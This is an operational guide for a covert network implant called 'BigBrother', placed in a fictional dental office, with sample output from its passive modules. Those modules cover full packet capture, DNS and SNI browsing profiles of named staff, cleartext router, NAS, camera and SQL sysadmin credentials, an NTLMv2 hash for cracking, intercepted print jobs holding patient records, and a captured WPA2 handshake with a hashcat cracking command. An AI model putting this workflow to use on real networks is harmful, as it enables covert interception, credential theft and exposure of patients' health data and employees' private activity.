# BigBrother: Operational Workflow — Dental Office Scenario

> **Scenario**: 2-week engagement, Bright Smiles Family Dentistry
> **Network**: 10.0.1.0/24, flat, no VLANs, no AD domain
> **Infrastructure**: Ubiquiti EdgeRouter (10.0.1.1), Netgear ProSAFE managed switch (no DAI, no DHCP snooping), Synology NAS "DiskStation" (10.0.1.10), 2x HP LaserJet (10.0.1.20-21), 3x Hikvision IP cameras (10.0.1.30-32), Nest thermostat, Sonos speaker, 8 Windows workstations, 3 MacBooks, WiFi WPA2-PSK "MolarMagic2023!"
> **Critical apps**: Dentrix practice management on workstation (10.0.1.102) connecting to SQL Server on 10.0.1.5, QuickBooks on 10.0.1.6
> **Hardware**: Orange Pi Zero 3 (4GB), 128GB industrial SD card
> **Deployment**: Connected to open port on office switch (single NIC — inline bridge requires USB Ethernet adapter)

---

## What Every Passive Module Produces

After 72 hours of passive collection on this network, here is exactly what each module yields.

---

### 1. packet_capture

**What it does**: Opens an AF_PACKET socket in promiscuous mode on the bridge interface. Every frame crossing between the front desk port and the switch is copied to a ring buffer, written to PCAP files, compressed with zstd, and encrypted with AES-256-GCM.

**On disk after 24 hours**:

```
storage/pcaps/
├── full_2026-03-18_00-00.pcap.zst.enc    (47MB — full payload, zstd -19 compressed)
├── full_2026-03-18_01-00.pcap.zst.enc    (52MB)
├── full_2026-03-18_02-00.pcap.zst.enc    (8MB — overnight, minimal traffic)
├── ...                                    (24 hourly files)
```

**Size**: This dental office generates ~15-25Mbps average traffic during business hours, near-zero overnight. That's roughly 8-12GB raw per day. With zstd -19 compression (10-15x on network PCAPs): **~600MB-1.2GB/day compressed**. On a 128GB SD card, that's **100-200 days** of full capture. On a 256GB card, over a year. Full payloads mean every print job, every SQL query, every file transfer, every cleartext credential is in the PCAP for offline analysis.

**Protocol breakdown for this network (24h, by packet count)**:

```
HTTPS/TLS (443)     58%   Opaque — Office 365, web browsing, cloud apps
DNS (53)            14%   Every lookup from every device
SMB (445)           8%    NAS file access from workstations
mDNS/broadcast      5%    Bonjour, SSDP, ARP, DHCP, NBNS
HTTP cleartext (80)  3%   Router admin, HP printer web UI, Hikvision cams
Print (9100)         2%   JetDirect raw print to HP LaserJets
SQL/TDS (1433)       2%   Dentrix workstation to SQL Server
QUIC (UDP/443)       2%   Chrome/Edge to Google services
IoT phone-home       2%   Hikvision, Nest, Sonos over HTTPS
ARP                  2%   Normal L2 resolution
Other                2%   NTP, ICMP, LLMNR, NetBIOS
```

**What you can do with it**: Pull the compressed PCAPs to your workstation (`zstd -d` to decompress), open in Wireshark for full protocol analysis. Every packet payload is there — you can reconstruct files, replay sessions, extract credentials you missed, carve attachments. Full PCAP is the ground truth that backs up every other module's findings.

---

### 2. dns_logger

**What it does**: Filters UDP/53 and TCP/53 from the capture bus. Parses DNS query and response packets. Logs source IP, queried domain, response IP(s), query type, and timestamp to per-host SQLite tables.

**Example output (20 representative entries from 31,000+ queries in 24h)**:

```
TIMESTAMP            SOURCE IP     QUERY                              TYPE   RESPONSE          INTEL
2026-03-18 07:52:11  10.0.1.102    dentrix.com                        A      104.18.22.33      Dentrix cloud portal check on boot
2026-03-18 07:52:14  10.0.1.102    econnector.dentrix.com             A      104.18.23.44      eClinicalWorks connector — patient data sync
2026-03-18 07:53:01  10.0.1.5      time.windows.com                   A      168.61.215.74     SQL Server syncing NTP — confirms Windows host
2026-03-18 08:01:33  10.0.1.6      quickbooks.intuit.com              A      192.168.1.55      QuickBooks phoning home at start of business
2026-03-18 08:01:34  10.0.1.6      payroll.intuit.com                 A      13.110.10.40      Payroll module — confirms financial data on this host
2026-03-18 08:15:22  10.0.1.101    chase.com                          A      159.53.45.5       Someone checking personal bank at 8:15 AM
2026-03-18 08:22:07  10.0.1.30     api.hik-connect.com                A      47.91.74.8        Hikvision camera heartbeat (repeats every 30s)
2026-03-18 08:22:08  10.0.1.31     api.hik-connect.com                A      47.91.74.8        Second camera, same pattern
2026-03-18 08:22:09  10.0.1.32     api.hik-connect.com                A      47.91.74.8        Third camera, same pattern
2026-03-18 09:14:55  10.0.1.103    indeed.com                         A      199.232.69.105    Staff member job hunting
2026-03-18 09:30:01  10.0.1.40     frontdoor.nest.com                 A      142.250.80.46     Nest thermostat heartbeat (every 60s)
2026-03-18 10:11:42  10.0.1.104    dropbox.com                        A      162.125.6.18      Shadow IT — Dropbox not sanctioned
2026-03-18 10:12:01  10.0.1.104    dl.dropboxusercontent.com          A      162.125.64.18     File sync active — data leaving the network
2026-03-18 11:30:44  10.0.1.106    webmd.com                          A      151.101.64.69     Lunch break browsing
2026-03-18 12:15:33  10.0.1.101    chase.com                          A      159.53.45.5       Same user, back to banking at lunch
2026-03-18 12:45:00  10.0.1.10     global.synologydownload.com        A      104.26.8.45       NAS checking for firmware update
2026-03-18 13:02:18  10.0.1.107    facebook.com                       A      157.240.1.35      Personal social media on work device
2026-03-18 14:30:22  10.0.1.102    dexis.com                          A      52.206.11.8       Dexis dental imaging software
2026-03-18 15:00:11  10.0.1.42     sonos.com                          A      34.117.65.55      Sonos speaker heartbeat
2026-03-18 17:05:44  10.0.1.103    linkedin.com                       A      13.107.42.14      Job hunting continues at end of day
```

**DoH blind spot**: 10.0.1.105 (MacBook-Lisa) generated exactly 4 DNS queries in 24 hours (DHCP-related, mDNS). Zero standard DNS lookups. This MacBook is using DNS-over-HTTPS, likely Firefox with default DoH to Cloudflare (1.1.1.1:443). This host's browsing history is invisible to dns_logger. Two other MacBooks show partial DoH use (60-70% fewer queries than comparable Windows workstations).

**IoT phone-home discovery**: The three Hikvision cameras generate 2,880 queries/day each to api.hik-connect.com (every 30 seconds). This is the Hik-Connect cloud service — if these cameras have default credentials (admin/12345 is the factory default), the video feed is accessible from the internet via Hik-Connect. The Nest thermostat queries frontdoor.nest.com every 60 seconds.

**Shadow IT**: Dropbox on 10.0.1.104 is actively syncing files. This is a data exfiltration path the office likely doesn't know about. Indeed.com and LinkedIn from 10.0.1.103 — an employee is job hunting.

---

### 3. tls_sni_extractor

**What it does**: Parses TLS ClientHello messages from TCP connections. The first message in every TLS handshake contains the Server Name Indication (SNI) field in cleartext — this is the hostname the client wants to reach. The actual content is encrypted, but the destination is not.

**How it works at the protocol level**: When a browser connects to https://portal.dentrix.com, the TCP handshake completes, then the client sends a TLS ClientHello. Inside this message, the SNI extension (type 0x0000) contains the ASCII string "portal.dentrix.com" in plaintext. BigBrother reads this field from the raw packet without any decryption.

**Example output (15 representative entries)**:

```
TIMESTAMP            SOURCE IP     DEST IP:PORT        SNI HOSTNAME                    INTEL
2026-03-18 08:01:11  10.0.1.102    104.18.22.33:443    portal.dentrix.com              Practice mgmt login
2026-03-18 08:01:15  10.0.1.102    52.206.11.8:443     imaging.dexis.com               Dental X-ray cloud
2026-03-18 08:02:44  10.0.1.6      13.110.10.40:443    payroll.intuit.com              QuickBooks payroll
2026-03-18 08:30:12  10.0.1.101    40.126.32.136:443   login.microsoftonline.com       O365 auth
2026-03-18 08:30:15  10.0.1.101    52.97.130.17:443    outlook.office365.com           Email access
2026-03-18 09:00:44  10.0.1.104    162.125.6.18:443    www.dropbox.com                 Shadow IT confirmed
2026-03-18 09:14:22  10.0.1.30     47.91.74.8:443      api.hik-connect.com             Camera cloud
2026-03-18 10:30:55  10.0.1.103    13.107.42.14:443    www.linkedin.com                Job hunting
2026-03-18 10:45:01  10.0.1.10     104.26.8.45:443     pkgupdate.synology.com          NAS update check
2026-03-18 11:00:22  10.0.1.106    151.101.64.69:443   www.webmd.com                   Browsing
2026-03-18 12:15:01  10.0.1.101    159.53.45.5:443     secure.chase.com                Personal banking
2026-03-18 13:00:44  10.0.1.40     142.250.80.46:443   home.nest.com                   IoT cloud
2026-03-18 14:00:33  10.0.1.107    157.240.1.35:443    www.facebook.com                Social media
2026-03-18 15:22:11  10.0.1.102    52.206.11.8:443     cloud.dentrix.com               Cloud backup sync
2026-03-18 16:45:00  10.0.1.6      13.110.10.40:443    app.qbo.intuit.com              QuickBooks Online
```

**What SNI + DNS together reveal**: DNS tells you the lookup, SNI confirms the actual connection. Together they build a complete browsing profile per host. DNS might show a CDN IP that maps to multiple domains — SNI disambiguates exactly which site was visited.

**What is invisible**: Encrypted Client Hello (ECH) — Cloudflare and Google are rolling out ECH, which encrypts the SNI field. Hosts using Firefox with ECH enabled show SNI as "cloudflare-ech.com" or similar dummy values. On this network, roughly 5-10% of connections to major sites will have opaque SNI. DNS-over-HTTPS connections also bypass the SNI module (the HTTPS to 1.1.1.1 shows SNI of "cloudflare-dns.com" but you don't see the DNS content).

---

### 4. credential_sniffer

**What it does**: Applies BPF filters for known cleartext protocol ports. Parses login sequences for FTP (USER/PASS commands), HTTP Basic (Authorization header Base64 decode), HTTP form POST (password fields), SMTP AUTH, POP3/IMAP LOGIN, Telnet, SNMP (community string from GetRequest), and NTLM challenge-response from SMB/HTTP/LDAP.

**What it captures on this specific network**:

| # | Protocol | Source | Target | Credential | How |
|---|----------|--------|--------|------------|-----|
| 1 | HTTP Basic | 10.0.1.103 | 10.0.1.1:80 | admin / Ub1qu1t1! | EdgeRouter web UI uses HTTP Basic auth. Header: `Authorization: Basic YWRtaW46VWIxcXUxdDEh` which Base64 decodes to `admin:Ub1qu1t1!`. Captured when office manager logged into router. |
| 2 | SNMP v2c | 10.0.1.1 | 10.0.1.20:161 | community: public | Router polls printer via SNMP GET. Community string "public" sent in cleartext in every SNMP packet. This is read-write on most HP LaserJets by default. |
| 3 | SNMP v2c | 10.0.1.1 | 10.0.1.21:161 | community: public | Same — second printer. |
| 4 | HTTP POST | 10.0.1.102 | 10.0.1.10:5000 | drjones / Br1ghtSm1les! | Synology DSM web interface on port 5000 uses HTTP by default (not HTTPS). Login form POST: `username=drjones&passwd=Br1ghtSm1les!` — captured in cleartext. |
| 5 | HTTP POST | 10.0.1.108 | 10.0.1.10:5000 | admin / NASadm1n2024! | Different user logging into NAS admin panel. Same cleartext HTTP issue. |
| 6 | NTLMv2 | 10.0.1.101 | 10.0.1.10:445 | FRONT-DESK\jsmith | Windows workstation authenticating to Synology NAS over SMB. NTLMv2 hash captured: `jsmith::FRONT-DESK:1122334455667788:A4F49C406946...`. This is a challenge-response hash, not a cleartext password — requires cracking with hashcat -m 5600. |
| 7 | HTTP Basic | 10.0.1.103 | 10.0.1.30:80 | admin / hik12345 | Hikvision camera web UI. Default credentials never changed. |
| 8 | TDS Login | 10.0.1.102 | 10.0.1.5:1433 | sa / D3ntrix2024! | SQL Server TDS login packet. See db_interceptor for details. |

**What it does NOT capture**:

- **SMTP/Email**: Office 365 forces STARTTLS on ports 587 and 993. The SMTP conversation begins in cleartext (`EHLO`, `STARTTLS`), then upgrades to TLS before any `AUTH` command. Zero email credentials captured.
- **HTTPS logins**: Dentrix cloud portal, QuickBooks, banking — all HTTPS. Login credentials are inside the encrypted TLS tunnel. Invisible without active MITM.
- **SSH**: All SSH traffic is encrypted from the first byte after TCP handshake. No credentials extractable.
- **WPA2 WiFi password**: WiFi authentication happens at L2 before packets reach the wired bridge. The WiFi PSK is not visible to the credential sniffer. (See wireless_intel for handshake capture.)

---

### 5. kerberos_harvester

**This module produces ZERO on this network.**

No Active Directory domain exists. All authentication is local accounts (workgroup), NTLMv2 to the NAS, and HTTP form logins. Kerberos requires a domain controller issuing TGTs, and there is none.

**What it WOULD capture on an AD network**: AS-REQ packets (user requesting a TGT — contains encrypted timestamp crackable with hashcat -m 7500), AS-REP packets (if accounts lack pre-auth — hashcat -m 18200, AS-REP roasting from the wire), TGS-REP packets (service ticket hashes — hashcat -m 13100, Kerberoasting from the wire). On a 50-user AD network, expect 200-500 AS-REQ per day and 5-20 TGS-REQ to interesting SPNs (MSSQL, HTTP, etc).

---

### 6. host_discovery

**What it does**: Listens for ARP requests/replies (who is on the network), DHCP requests (hostname, vendor class), mDNS announcements (Bonjour services), NetBIOS name queries, and SSDP/UPnP discovery. Correlates MAC address to OUI vendor database. Never sends any packets.

**Complete discovered host table after 72h**:

```
IP           MAC               OUI VENDOR       HOSTNAME          OS GUESS       FIRST SEEN           DISCOVERY METHOD
10.0.1.1     44:D9:E7:3A:12:F0 Ubiquiti         EdgeRouter        Linux (EdgeOS) 2026-03-18 00:01:12  ARP reply (gateway)
10.0.1.5     B0:5C:DA:44:88:A1 Dell             SQLSERVER-01      Windows 10/11  2026-03-18 07:51:33  DHCP request
10.0.1.6     B0:5C:DA:55:99:B2 Dell             QUICKBOOKS-PC     Windows 10     2026-03-18 07:55:14  DHCP request
10.0.1.10    00:11:32:AA:BB:CC Synology         DiskStation       Linux (DSM)    2026-03-18 00:01:15  mDNS announcement (_smb._tcp)
10.0.1.20    3C:D9:2B:11:22:33 HP               HP-LaserJet-Main  JetDirect      2026-03-18 00:01:18  mDNS (_printer._tcp) + SNMP response
10.0.1.21    3C:D9:2B:44:55:66 HP               HP-LaserJet-Back  JetDirect      2026-03-18 00:01:19  mDNS (_printer._tcp)
10.0.1.30    C0:56:E3:10:20:30 Hikvision        (none)            Linux (embed)  2026-03-18 00:01:44  ARP broadcast
10.0.1.31    C0:56:E3:10:20:31 Hikvision        (none)            Linux (embed)  2026-03-18 00:01:45  ARP broadcast
10.0.1.32    C0:56:E3:10:20:32 Hikvision        (none)            Linux (embed)  2026-03-18 00:01:46  ARP broadcast
10.0.1.40    18:B4:30:AA:11:22 Nest Labs        (none)            — (IoT)        2026-03-18 06:30:02  SSDP announcement
10.0.1.42    B8:E9:37:33:44:55 Sonos            Sonos-Office      Linux (embed)  2026-03-18 00:02:01  SSDP + mDNS (_sonos._tcp)
10.0.1.101   B0:5C:DA:11:AA:01 Dell             FRONT-DESK        Windows 11     2026-03-18 07:48:33  DHCP request (option 12)
10.0.1.102   B0:5C:DA:11:AA:02 Dell             DENTRIX-WS        Windows 10     2026-03-18 07:50:11  DHCP request
10.0.1.103   B0:5C:DA:11:AA:03 Dell             MANAGER-PC        Windows 11     2026-03-18 07:52:44  DHCP request
10.0.1.104   B0:5C:DA:11:AA:04 Dell             HYGIENE-1         Windows 10     2026-03-18 07:55:02  DHCP request
10.0.1.105   3C:22:FB:88:99:AA Apple            MacBook-Lisa      macOS          2026-03-18 08:10:22  mDNS (_companion-link._tcp)
10.0.1.106   3C:22:FB:88:99:BB Apple            MacBook-Sarah     macOS          2026-03-18 08:15:11  mDNS
10.0.1.107   B0:5C:DA:11:AA:05 Dell             HYGIENE-2         Windows 10     2026-03-18 08:01:33  DHCP request
10.0.1.108   B0:5C:DA:11:AA:06 Dell             XRAY-WS           Windows 10     2026-03-18 08:05:22  DHCP request
10.0.1.109   3C:22:FB:88:99:CC Apple            MacBook-DrJones   macOS          2026-03-18 09:30:44  mDNS
10.0.1.150   DA:A1:19:XX:XX:X1 Apple (random)   iPhone             iOS            2026-03-18 08:22:11  DHCP request (WiFi)
10.0.1.151   DA:A1:19:XX:XX:X2 Samsung (random) Galaxy-S24        Android        2026-03-18 08:35:02  DHCP request (WiFi)
10.0.1.152   DA:A1:19:XX:XX:X3 Apple (random)   iPad              iPadOS         2026-03-18 09:00:15  DHCP request (WiFi)
```

23 hosts discovered. Note: phones use randomized MACs (iOS 14+ and Android 10+ randomize by default), so OUI shows "Apple (random)" rather than the real manufacturer. DHCP hostnames still reveal device type. Phones appear and disappear as staff arrive and leave — 3-5 additional transient devices (patient phones connecting to WiFi) appear daily and are logged separately.

---

### 7. os_fingerprint

**What it does**: Analyzes TCP SYN and SYN-ACK packets passively. Every host's IP stack has characteristic default values for TTL (Time To Live), TCP window size, DF (Don't Fragment) bit, MSS, window scaling factor, and TCP option ordering. These form a fingerprint unique to the OS family.

**Example fingerprints from this network**:

```
IP           TTL  WIN SIZE  DF   MSS   WSCALE  SACK  CONCLUSION           CONFIDENCE
10.0.1.101   128  65535     yes  1460  8       yes   Windows 10/11        HIGH (TTL 128 + win 65535 = Windows)
10.0.1.102   128  65535     yes  1460  8       yes   Windows 10/11        HIGH
10.0.1.105   64   65535     yes  1460  6       yes   macOS 13+            HIGH (TTL 64 + wscale 6 = macOS)
10.0.1.10    64   29200     yes  1460  7       yes   Linux 4.x+ (DSM 7)  HIGH (TTL 64 + win 29200 = Linux)
10.0.1.1     64   14600     yes  1460  5       yes   Linux 3.x (EdgeOS)  MEDIUM (older kernel)
10.0.1.30    64   5840      yes  1460  0       no    Linux 2.6 (embed)   MEDIUM (Hikvision embedded)
10.0.1.20    64   8192      no   1460  0       no    HP JetDirect         HIGH (unique HP stack)
10.0.1.40    64   5744      yes  1460  4       yes   Embedded Linux       LOW (generic, Nest)
```

**How TTL works**: Windows defaults to 128, Linux/macOS default to 64. Each router hop decrements TTL by 1. On this flat network (no routers between hosts), TTL arrives unmodified. If you see TTL 127 from a host, it traversed one router — indicating a device on a different segment.

**Supplementary evidence**: HTTP User-Agent headers (captured by protocol_analyzer) provide specific browser and OS versions. DHCP vendor class (option 60) confirms: Dell workstations send "MSFT 5.0" (Windows DHCP client), Apple devices send "dhcpcd" or nothing.

---

### 8. traffic_analyzer

**What it does**: Tracks every flow (5-tuple: src IP, dst IP, src port, dst port, protocol) with byte counts, packet counts, start/end times. Computes protocol distribution, top talkers, and beacon detection.

**Protocol distribution (24h)**:

```
Protocol           Packets    Bytes       Pct(bytes)
─────────────────────────────────────────────────────
TLS/HTTPS          2,140,000  1.62 GB     62.1%
DNS                 580,000   41 MB        1.6%
SMB/CIFS            340,000   410 MB      15.7%
QUIC (UDP/443)      180,000   198 MB       7.6%
HTTP cleartext       95,000   72 MB        2.8%
JetDirect (9100)     12,000   48 MB        1.8%
TDS/SQL (1433)       28,000   34 MB        1.3%
mDNS/LLMNR           45,000   5.2 MB       0.2%
ARP                   38,000   2.3 MB       0.1%
SSDP/UPnP            22,000   3.8 MB       0.1%
NTP                   8,500   1.2 MB       0.05%
Other                 41,500   175 MB       6.7%
─────────────────────────────────────────────────────
TOTAL              3,530,000  2.61 GB     100%
```

**Top talkers (by bytes, 24h)**:

```
#  HOST          SENT       RECV       PRIMARY DEST          ROLE
1  10.0.1.102    312 MB     198 MB     10.0.1.5 (SQL)        Dentrix workstation — heaviest internal traffic
2  10.0.1.105    245 MB     180 MB     Internet (HTTPS)      MacBook — web browsing + Dropbox sync
3  10.0.1.101    189 MB     142 MB     10.0.1.10 (NAS)       Front desk — heavy NAS file access
4  10.0.1.10     95 MB      410 MB     all workstations      NAS — serves files to everyone
5  10.0.1.5      34 MB      312 MB     10.0.1.102            SQL Server — responds to Dentrix queries
```

**Beacon detection**:

```
SOURCE        DESTINATION             INTERVAL     JITTER   PATTERN
10.0.1.30     47.91.74.8:443          30.0s        ±0.3s    Hikvision cloud heartbeat — KNOWN IOT
10.0.1.31     47.91.74.8:443          30.0s        ±0.3s    Hikvision cloud heartbeat — KNOWN IOT
10.0.1.32     47.91.74.8:443          30.0s        ±0.3s    Hikvision cloud heartbeat — KNOWN IOT
10.0.1.40     142.250.80.46:443       60.0s        ±1.2s    Nest thermostat heartbeat — KNOWN IOT
10.0.1.42     34.117.65.55:443        300.0s       ±5.0s    Sonos keepalive — KNOWN IOT
10.0.1.10     104.26.8.45:443         3600.0s      ±30s     Synology update check — hourly
10.0.1.102    104.18.22.33:443        1800.0s      ±120s    Dentrix cloud sync — ~30min cycle
```

No suspicious C2 beacons. All periodic traffic correlates to known IoT and application behavior. This is a clean network with no prior compromise.

---

### 9. vlan_discovery

**Output**: "Single VLAN detected (untagged). Zero 802.1Q tagged frames observed in 72 hours. No DTP negotiation frames. No 802.1X EAPOL frames. No CDP frames (Ubiquiti does not use CDP). One LLDP frame from Synology NAS (DSM advertises via LLDP by default). Flat L2 network confirmed — every device is in the same broadcast domain. No segmentation between workstations, IoT cameras, printers, NAS, and SQL server."

This is a critical finding: IoT cameras on the same VLAN as the patient database.

---

### 10. network_mapper

**What it does**: Builds a directed graph of all observed communication pairs. Each edge has protocol, total bytes, and connection count. Exported as Graphviz DOT file and ASCII summary.

**Key relationships discovered**:

```
RELATIONSHIP                                              PROTOCOL    VOLUME/DAY    NOTES
10.0.1.102 → 10.0.1.5                                    TDS/1433    312 MB        Dentrix WS to SQL — heaviest flow
10.0.1.101,103,104,107,108 → 10.0.1.10                   SMB/445     410 MB total  5 workstations to NAS (file shares)
10.0.1.101,102,103,104,106,107 → 10.0.1.20               RAW/9100    38 MB         6 hosts print to main printer
10.0.1.103,108 → 10.0.1.21                               RAW/9100    10 MB         2 hosts print to back printer
ALL hosts → 10.0.1.1                                      DNS/53      41 MB         Gateway is DNS forwarder
ALL hosts → 10.0.1.1                                      HTTPS       1.4 GB        Gateway is internet gateway
10.0.1.30,31,32 → 47.91.74.8                              HTTPS/443   8.2 MB        All cameras to Hikvision cloud
10.0.1.103 → 10.0.1.30,31,32                              HTTP/80     2.1 MB        Manager checks camera feeds
10.0.1.103 → 10.0.1.1                                     HTTP/80     1.4 MB        Manager accesses router admin
10.0.1.102 → 10.0.1.10                                    HTTP/5000   0.5 MB        Dentrix WS to NAS admin (DSM)
10.0.1.6 → 13.110.10.40                                   HTTPS/443   22 MB         QuickBooks to Intuit cloud
```

**What this reveals**: 10.0.1.103 (MANAGER-PC) is the admin workstation — it's the only host that accesses the router, cameras, and NAS admin panel. 10.0.1.102 is the critical Dentrix workstation — it has the most privileged access (SQL database + NAS admin). The NAS is the central file server accessed by 5+ workstations. The SQL Server (10.0.1.5) only talks to one workstation (10.0.1.102) — single point of failure, single attack path.

---

### 11. auth_flow_tracker

**What it captures on this network**: No Kerberos (no AD). NTLM authentication is visible in SMB sessions to the NAS. HTTP form authentication to the NAS and cameras is visible.

```
TIMESTAMP            USER          SOURCE         TARGET          PROTOCOL   AUTH TYPE
2026-03-18 07:48:55  jsmith        10.0.1.101     10.0.1.10:445  SMB        NTLMv2
2026-03-18 07:50:22  drjones       10.0.1.102     10.0.1.10:5000 HTTP       Form POST
2026-03-18 07:52:01  admin         10.0.1.103     10.0.1.1:80    HTTP       Basic
2026-03-18 07:55:11  mgarcia       10.0.1.104     10.0.1.10:445  SMB        NTLMv2
2026-03-18 08:01:33  sa            10.0.1.102     10.0.1.5:1433  TDS        SQL Login
2026-03-18 08:05:44  accounting    10.0.1.108     10.0.1.10:445  SMB        NTLMv2
```

**Pattern**: Users authenticate once to the NAS at start of day, maintain session. SQL Server `sa` account (sysadmin!) authenticates from Dentrix workstation at application startup. No SSH authentication observed — nobody SSHes into anything. No RDP authentication observed.

---

### 12. smb_monitor

**What it does**: Parses SMB2/3 protocol messages — Tree Connect requests (share access), Create requests (file open), Read/Write requests. The SMB negotiate and session setup are visible; whether file content is visible depends on whether SMB encryption is negotiated.

**Shares discovered from SMB Tree Connect requests**:

```
\\DiskStation\PatientRecords     — accessed by: FRONT-DESK, DENTRIX-WS, MANAGER-PC, HYGIENE-1, HYGIENE-2
\\DiskStation\Accounting         — accessed by: QUICKBOOKS-PC, MANAGER-PC
\\DiskStation\Shared             — accessed by: all workstations
\\DiskStation\XRays              — accessed by: DENTRIX-WS, XRAY-WS
\\DiskStation\Backups            — accessed by: SQLSERVER-01 (nightly at 02:00)
```

**Access patterns (72h sample)**:

```
FRONT-DESK (10.0.1.101): 47 files in PatientRecords/2026/March/ over 8 hours/day
MANAGER-PC (10.0.1.103): 12 files in Accounting/payroll/ on Monday (payroll day)
DENTRIX-WS (10.0.1.102): 8 files in XRays/ (DICOM images uploaded after each patient)
SQLSERVER-01 (10.0.1.5): Bulk write to Backups/ at 02:00-02:45 nightly (SQL backup job)
```

**SMB3 encryption note**: Synology DSM 7 supports SMB3 but does not enforce encryption by default. On this network, SMB negotiate shows encryption capability but the server allows unencrypted sessions. File names and access patterns are fully visible. Actual file content is readable in the PCAP (though print_interceptor and file_extractor are better tools for that).

---

### 13. voip_capture

**Output**: "Zero SIP INVITE/BYE/REGISTER messages detected. Zero RTP streams. No VoIP PBX on this network."

The office uses cell phones for calls and Zoom for video (encrypted WebRTC over HTTPS — visible only as SNI "zoom.us" in the TLS extractor). No on-premises VoIP infrastructure.

---

### 14. print_interceptor

**How JetDirect (TCP/9100) works**: When a user prints, the workstation opens a TCP connection to the printer on port 9100 and sends the print job as a raw byte stream. There is no authentication, no encryption, no handshake protocol — just a TCP socket carrying PCL (Printer Command Language) or PostScript data. The printer interprets the data stream and prints it.

BigBrother's print_interceptor reassembles the TCP stream and captures the complete print job data. For PostScript jobs, the text content is extractable directly (PostScript is a plaintext programming language — the text to be printed is embedded as string literals). For PCL jobs, rendered text is extractable from font/character commands. Ghostscript can convert both formats to PDF for human-readable output.

**What gets captured (72h sample — 23 print jobs)**:

```
JOB#  TIMESTAMP            SOURCE       PRINTER      SIZE    FORMAT   CONTENT SUMMARY
1     2026-03-18 08:30:11  10.0.1.101   10.0.1.20    142KB   PCL     Patient intake form — John Doe, DOB 03/15/1985,
                                                                       SSN ***-**-4521, Ins: Delta Dental #A1234567
2     2026-03-18 08:45:22  10.0.1.101   10.0.1.20    89KB    PCL     Insurance claim form — procedure D2740 (crown),
                                                                       patient Mary Smith, claim amount $1,240.00
3     2026-03-18 09:15:33  10.0.1.103   10.0.1.20    203KB   PS      QuickBooks invoice — vendor: Patterson Dental,
                                                                       amount $4,521.88, check #8843
4     2026-03-18 10:00:44  10.0.1.102   10.0.1.20    312KB   PCL     Treatment plan — patient Robert Chen,
                                                                       procedures: D0120, D1110, D2750, total $3,200
5     2026-03-18 10:30:55  10.0.1.108   10.0.1.20    178KB   PCL     X-ray report header page — patient Angela Torres
6     2026-03-18 11:00:11  10.0.1.101   10.0.1.20    95KB    PCL     Appointment schedule — 14 patients with names,
                                                                       phone numbers, procedure codes
7     2026-03-18 13:30:22  10.0.1.103   10.0.1.21    156KB   PS      Payroll summary — 9 employees, gross pay,
                                                                       deductions, net pay, SSN last-4 digits
8     2026-03-18 14:15:33  10.0.1.101   10.0.1.20    67KB    PCL     Prescription — patient name, DOB, medication,
                                                                       prescriber Dr. Jones DDS
...   (15 more jobs over 3 days, similar content)
```

**Expected volume**: 5-12 print jobs per printer per day in a dental office. 60-80% contain PHI (patient names, DOBs, insurance info, treatment details). This is a HIPAA nightmare — all this data crosses the network in cleartext.

**Conversion**: `ghostscript -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=job1.pdf -dBATCH captured_job1.pcl` produces a readable PDF. BigBrother does this automatically when Ghostscript is available.

**Why this works everywhere**: JetDirect/AppSocket (port 9100) has been the standard network printing protocol for 20+ years. IPP with TLS exists but almost no one uses it. HP, Brother, Canon, Epson — all default to port 9100 unencrypted. This module produces on nearly every network that has a network printer.

---

### 15. wireless_intel

**Requires**: USB WiFi adapter in monitor mode (separate from the wired bridge interfaces).

**Probe requests captured** (devices searching for known networks):

```
MAC (randomized)   PROBED SSID           INTEL
DA:A1:19:XX:01     "MolarMagic"          Staff phone looking for office WiFi (slightly wrong SSID)
DA:A1:19:XX:02     "HomeWiFi-Sarah"      Personal home network name — identifies employee
DA:A1:19:XX:03     "Hilton_Guest"        Someone recently stayed at a Hilton
DA:A1:19:XX:04     "xfinitywifi"         Xfinity home internet user
DA:A1:19:XX:05     "DentalOffice"        Correct office SSID — device seeking to reconnect
DA:A1:19:XX:06     "ATT-XXXX"            AT&T home network
3C:22:FB:88:99:AA  (broadcast probe)     MacBook-Lisa — no directed probes (macOS suppresses)
```

**WPA handshake capture**: When any device connects (or reconnects) to the "DentalOffice" WiFi, the WPA2 4-way handshake occurs. BigBrother captures all four EAPOL frames passively. After capturing a complete handshake:

```
[+] WPA2 handshake captured for SSID "DentalOffice"
    BSSID: AA:BB:CC:DD:EE:FF
    Client: DA:A1:19:XX:05
    File: storage/wireless/handshake_DentalOffice_20260318.hc22000
    Hashcat mode: 22000
```

Transfer to your cracking rig: `hashcat -m 22000 handshake.hc22000 rockyou.txt -r OneRuleToRuleThemAll.rule`. "MolarMagic2023!" is in the top 10 million guesses with a basic rule set — expect crack time under 5 minutes on a modern GPU. Now you have the WiFi password without ever touching the AP.

---

### 16. protocol_analyzer

**What it does**: Goes beyond port numbers — inspects payload for protocol fingerprinting, banner extraction, and certificate analysis.

**Service identification**:

```
IP:PORT             SERVICE                          VERSION/BANNER
10.0.1.5:1433       Microsoft SQL Server             TDS 7.4 — SQL Server 2019 (15.0.2000)
10.0.1.10:5000      Synology DSM                     HTTP Server: nginx (DSM 7.2)
10.0.1.10:445       Samba/SMB                        SMB 3.1.1 dialect, Synology NAS
10.0.1.1:80         Ubiquiti EdgeOS                  lighttpd/1.4 (EdgeRouter)
10.0.1.1:443        Ubiquiti EdgeOS                  Self-signed cert, CN=ubnt, expired 2024-11-15
10.0.1.20:80        HP LaserJet                      HP Embedded Web Server
10.0.1.20:9100      HP JetDirect                     RAW print (no banner, identified by port behavior)
10.0.1.30:80        Hikvision                        DNVRS-Webs (Hikvision web server)
10.0.1.30:554       Hikvision RTSP                   RTSP/1.0 (video streaming)
```

**Certificate analysis**:

```
IP:PORT          CN                ISSUER            EXPIRES         ISSUE
10.0.1.1:443     ubnt              Self-signed       2024-11-15      EXPIRED — browser warnings suppressed
10.0.1.10:5001   DiskStation       Synology CA       2027-01-15      Self-signed but valid dates
10.0.1.30:443    (empty CN)        Hikvision         2034-12-31      Hikvision default cert
```

**OT protocol detection**: Zero. No Modbus (502), DNP3, OPC UA, BACnet, or S7comm traffic. No industrial control systems on this network. (The Nest thermostat uses HTTPS to Google's cloud, not a local OT protocol.)

---

### 17. cloud_token_harvester (passive mode)

**Output**: "Monitored 72 hours of traffic for cleartext AWS keys (AKIA*), Azure Bearer tokens, GCP OAuth tokens, JWT tokens, and SAML assertions in HTTP traffic. Result: zero tokens captured."

